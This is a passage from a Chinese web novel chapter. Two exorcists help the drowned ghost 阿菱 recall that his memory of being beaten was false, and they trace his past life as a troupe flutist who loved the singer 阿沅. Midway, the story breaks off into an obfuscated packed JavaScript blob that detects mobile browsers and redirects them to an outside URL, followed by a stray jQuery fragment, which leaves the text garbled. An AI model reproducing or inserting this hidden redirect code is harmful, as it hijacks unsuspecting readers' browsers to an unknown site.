原来，那年她不知道阿檀没有把“不要再画了”说出口。


    她不知道那支钗被阿檀塞进画师手里时，只带着一句“小姐说，多谢”。


    她不知道那一句省略，让一个青年把“拒绝”听成了“定情”。


    她不知道阿檀将青年送给她的画都小心收在了偏厅里。


    她更不知道，阿檀甚至在她出嫁前夕私自写了一张纸条给画师。


    她甚至从未见过那位画师，也不知道画师曾等过她漫长一夜。


    瑰小爷心中不是滋味。


    一个丫鬟不忍心伤害一位痴情画子，于是写了一张字条。她以为青年等待一夜，见无人前来赴约，便会心灰意冷地离去，此番做法对两人都好。


    她不是坏人，是个心善的人。


    可却也因为这一念之差，让一个男子苦等一夜，又让他因此而死，同样也让一个女子死后因愧疚魂归，又等上百年。


    瑰小爷没有再问。


    “师兄。”


    小汤圆已明白他的意图，点头道：“嗯，你去吧。”


    瑰小爷推开窗，翻出房间一个轻点飞身，落在湖心船上。


    阿菱果然还坐着，低着头拧着他那双永远也拧不干的袖口。


    “那张字条，不是她写的。”瑰小爷言简意赅。


    阿菱抬起头茫然。


    “她根本不知道你那天晚上来过。”


    阿菱怔怔地看着他：“……不是她写的？那是……？”


    “是那个丫鬟阿檀写的，她只是想帮她小姐，也不忍心伤害你。”


    有什么东西从阿菱脸上流过。


    不是水。


    他已经流了一百年的水。


    这是第一次，他流下别的。


    很久。


    “那我……那我为什么会……”


    瑰小爷知道他想说什么。


    那他为什么会死？那些家丁呢？那些棍棒呢？


    “我明明记得……”阿菱的手按在胸口，他忽然不确定了。


    他记得后门。记得字条。记得脚步声。


    然后呢？


    他拼命地想。


    脚步声是谁的？他看见人影了吗？还是说……


    他看见的只是自己的影子，落在青石板上的。


    往前迎的那一步，踩到了什么？


    青苔。滑腻的湿漉漉的青苔。


    没有家丁，没有棍棒。


    他等了一夜。


    天亮时，宅内有脚步声传来。


    他以为是她来了。


    他往前迎了一步，结果迎进了洛水里。


    “我记得……”他道：“我记得他们打我。”


    “我记得棍子落在背上，一下，两下，三下。我记得有人说打死这个不知死活的东西。我记得……”


    他的声音断了，他记得的不是真的。


    瑰小爷蹲下来，和阿菱面对面，把船头那盏汤圆灯放在两人之间的船板上。


    暖光映着阿菱的脸。苍白，湿透，但不再像鬼了。


    “她死后，因为愧疚等了你一百年。”瑰小爷说。


    “你不知道她等过你。她那年也不知道你来过。”


    “你们两不相欠。”


    阿菱看着他。


    很久。


    “……两不相欠。”他重复了一遍。


    他低下头，手指隔着衣襟，按了按那支钗。


    然后他轻轻笑了一下。


    “那就好。”


    夜很静，湖心没有风，整座宅子都浸在墨色里，只有船心这一点，与二楼那扇窗，两道光亮。


    “阿菱。”瑰小爷道：“如果你的执念就此已了的话……我和师兄可以设法为你超度，让你重入轮回，你愿意吗？”


    很久很久。


    “我是不是……很傻？”阿菱忽然开口。


    “我记了那些棍棒一百年，记了那句打死他一百年。结果都是我自己编的。我连自己怎么死的，都不敢记得。”


    “那你现在知道了。”


    “嗯。”


    “还等吗？”


    阿菱没有回答，他的手下意识抚上腰间那只锈蚀的旧笛。


    他已经很久没有注意过这支笛子了，从他有记忆起，它就在那里。他不知道是怎么挂上去的，也不知道为什么要挂着。他只是习惯了它的分量。


    此刻，他把笛子从腰间解下来，托在掌心。


    他忽然很想吹响它，于是他把笛子凑近唇边。


    一个音。


    瑰小爷猛然抬头。


    这竟是洛神起板的第一声！


    阿菱也怔住了。


    他不知道自己为什么会吹这支曲子，他只知道，这个音一出口，他的心深处裂开了一道缝隙。


    无数光影从他脑海中掠过，不是这座湖心，不是这座宅子。


    是另一个夜晚。


    他坐在幕侧，帘幕低垂，看不见台上光景。


    但他听得见，那把嗓子，婉转动人。


    他吹笛。她唱戏。


    一年。两年。三年。十年。


    她唱洛神，而他只会吹这一折。


    她不知道他是谁。


    因为他是幕后人，而她是台上月。他以为她甚至不知道他的存在。


    直到那夜。


    散戏后，后巷。


    她从角门出来，站在他面前。


    “你吹的笛……”她笑道：“比我唱得还好。”


    他愣了很久：“我……只是跟着你的腔。”


    她看了他一眼。


    笛子掉落在船上。


    “……阿沅。”一个名字从阿菱嘴里唤出，他不知道自己为什么会叫这个名字，也不知道这个名字到底所指何人。


    古旧大宅，二楼闺房。


    听到湖心传来的笛声，镜中人的脸色变了。


    她的手在动，像是一个按笛孔的手势。


    “你会吹笛？”小汤圆问道。


    “我不会。”女子道：“……我只会唱。”


    她忽然皱起眉：“但有个人会吹。他吹得很好，我唱了十年洛神，他吹了十年……”


    “他叫什么来着……”


    她记不起来了，只记得那管笛声。


    每夜，每夜，从幕侧流出来。不疾不徐，恰好托住她每一句拖腔。


    她问班主，吹笛的是谁。班主说，阿菱，来十二年了。


    她见过他。


    后巷、廊下、开戏前在台上试音。他不太说话，总是低着头调笛。


    她从他身边走过三十次。


    他没有一次抬头。


    她以为他不想认识她。


    芙蓉盛会最后一夜。


    她不知哪里来的勇气，散戏后去后巷等他。


    她站在他面前。


    “你吹的笛，比我唱得还好。”


    他愣了很久：“我……只是跟着你的腔。”


    她看了他一眼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252726|197152||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    那一眼她想说的是，我不是在夸乐师。


    可他却没有接住。


    那年冬天，有富户来提亲。


    新年前夜，她去后巷找他，她要鼓起勇气问出那句话。


    “我唱了十年洛神，从来没问过你……你觉得洛神唱得好吗？”


    她说的是“洛神”，她不敢说“我”。


    他说：“好。”


    她等了一会儿，他没有说别的。


    她笑了笑，转身走了。


    小汤圆借着灯火，忽然看清了那胭脂盒上的小字。


    菱。


    而这时，洛蘅竟也在镜中，用胭脂写下了一个字，菱。


    她不知道自己为什么要写这个字，她甚至不记得这个人了。


    但她记得那管笛声。记得那夜后巷，他站在灯影里，说“我只是跟着你的腔”。


    也记得她等了很久，他还是没有说别的话。


    她心灰意冷，接受了富商的求亲，婚后郁郁寡欢，不久便终于人世了。


    湖心船中。


    瑰小爷捡起那支笛子，递给眼前人。


    “阿菱，你到底是谁？”


    阿菱的眼睛还湿着，但神情不一样了。


    “我是画师……”他又摇摇头：“不，我是戏班乐师。”


    “一个天分不高的乐师，只会吹一曲，就是洛神……”


    “那阿沅又是谁？”


    他摇摇头：“有个姑娘在戏班唱这折戏，她唱了十年，我就给她吹了十年。她不知道我是谁，我坐在幕侧帘子挡着，她看不见我。其实当初，我就是为了看见她，听她唱戏，才苦练……”


    “有次在戏班后巷，正好遇见了她。她问我她的洛神曲唱得好不好，我说好。然后她笑了，又走了。”


    “后来她离开了戏班，嫁给了一位富商，我托人给她送了一盒胭脂和两只银钗，从此便再没了她的消息。”


    “那你呢？”瑰小爷问道：“之后的日子你是如何过的？”


    “我嘛……”阿菱道：“依旧在戏班吹笛，又吹了四十年，可唱戏的人都不如她，都不如她。”


    “你死的时候不是二十二岁吗？”瑰小爷道：“怎么又吹了四十年笛子？”


    阿菱痛苦地摇头：“我不知道，我不知道……”


    瑰小爷皱眉，细细捋着阿菱所说的话。


    他一会儿说自己是画师，一会儿又说自己是乐师。镜中女子明明叫洛蘅，可阿菱却又唤出了一个阿沅，这究竟是鬼魂落水百年导致记忆错乱，还是说……


    他想起了偏厅的那些画！


    “在此处等我！”


    他又一个轻点飞身，穿过大宅长廊，又回到了那处偏厅。


    他仔细将画中有年份落款的画挑了出来，一卷一卷，正好四十卷。


    瑰小爷捧着那幅画，半晌没有出声。


    他说自己二十岁，为洛蘅作画两年，二十二岁溺水身亡，却画了四十年的画。


    而他又说自己吹笛四十年。


    是否，这四十年的画，是他用两年的日夜画完的？


    是因为他无意识的，循着灵魂之中的记忆与思念，画下的？


    他把上辈子那四十年的思念，都压进了那两年的灯下。


    二楼闺房。


    瑰小爷推门而入，他走到镜子前，开口唤道。


    “阿沅。”


    镜中女鬼猛然一怔。


    阿沅是谁？阿沅……